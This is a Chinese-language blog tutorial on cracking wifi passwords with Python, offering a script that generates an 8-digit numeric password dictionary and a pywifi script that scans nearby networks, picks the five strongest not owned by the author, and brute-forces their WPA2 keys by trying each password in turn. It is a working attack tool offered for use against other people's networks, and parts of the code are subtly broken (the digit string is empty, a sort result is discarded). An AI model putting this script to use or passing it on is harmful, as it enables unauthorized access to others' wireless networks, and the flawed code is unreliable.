Python破解Wifi密码思路

时间：2022-12-12 08:06:10

一、前言说明

　　本机运行环境：系统环境Win10，运行环境Python3.6，运行工具Pycharm

　　需要Python的包有：pywifi

　　这是一种暴力破解wifi的模式，需要的时间比较长，本文主要提供一个破解思路

二、思路介绍

　　先生成一个密码字典（此步骤也可以从网上下载字典）

　　循环用密码字典的每个密码去尝试连接Wifi，直到成功

三、源码设计

　　1. 密码字典TXT文件生成，本文提供的比较简单，实用破解可以根据一般密码设置，去生成比较大比较全的密码字典

　　一般设置密码规则，可以参照这个博客写的内容：https://www.cnblogs.com/lifengfneg/p/5992649.html

　　以下提供简单8位纯数字的字典生成方案代码GetWifiPsdDic.py　　

 import itertools as its

 if __name__ == '__main__':

     words_num = ""

     words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

     r = its.product(words_num, repeat=8)

     dic = open("password-8位数字.txt", "w")

     for i in r:

         dic.write("".join(i))

         dic.write("".join("\n"))

     dic.close()

　　　　2. 暴力破解密码，用时较长GetWifiPsd.py

 import pywifi

 from pywifi import const  # 引用一些定义

 import time

 def getwifi(wifilist, wificount):

     wifi = pywifi.PyWiFi()  # 抓取网卡接口

     ifaces = wifi.interfaces()[0]  # 获取网卡

     ifaces.scan()

     time.sleep(8)

     bessis = ifaces.scan_results()

     allwifilist = []

     namelist = []

     ssidlist = []

     for data in bessis:

         if data.ssid not in namelist:  # 去掉重复的WIFI名称

             namelist.append(data.ssid)

             allwifilist.append((data.ssid, data.signal))

     sorted(allwifilist, key=lambda st: st[1], reverse=True)

     time.sleep(1)

     n = 0

     if len(allwifilist) is not 0:

         for item in allwifilist:

             if (item[0] not in ssidlist) & (item[0] not in wifilist):

                 n = n + 1

                 if n <= wificount:

                     ssidlist.append(item[0])

     print(allwifilist)

     return ssidlist

 def getifaces():

     wifi = pywifi.PyWiFi()  # 抓取网卡接口

     ifaces = wifi.interfaces()[0]  # 获取网卡

     ifaces.disconnect()  # 断开无限网卡连接

     return ifaces

 def testwifi(ifaces, ssidname, password):

     profile = pywifi.Profile()  # 创建wifi连接文件

     profile.ssid = ssidname  # 定义wifissid

     profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放

     profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法

     profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元

     profile.key = password  # wifi密码

     ifaces.remove_all_network_profiles()  # 删除其他所有配置文件

     tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件

     ifaces.connect(tmp_profile)  # 连接wifi

     time.sleep(5)  # 5秒内能否连接上

     if ifaces.status() == const.IFACE_CONNECTED:

         return True

     else:

         return False

 def beginwork(wifinamelist):

     ifaces = getifaces()

     path = r"password-8位数字.txt"

     # path = r"password-常用密码.txt"

     files = open(path, 'r')

     while True:

         try:

             password = files.readline()

             password = password.strip('\n')

             if not password:

                 break

             for wifiname in wifinamelist:

                 print("正在尝试：" + wifiname + "," + password)

                 if testwifi(ifaces, wifiname, password):

                     print("Wifi账号:" + wifiname + "，Wifi密码:" + password)

                     wifinamelist.remove(wifiname)

                     break

             if not wifinamelist:

                 break

         except:

             continue

     files.close()

 if __name__ == '__main__':

     wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字

     wifinames = getwifi(wifinames_e, 5)

     print(wifinames)

     beginwork(wifinames)

四、最后小结

　　上文生成字典有很多冗余密码成分，会大大加长破解时间，实用时可以更改密码生成方式
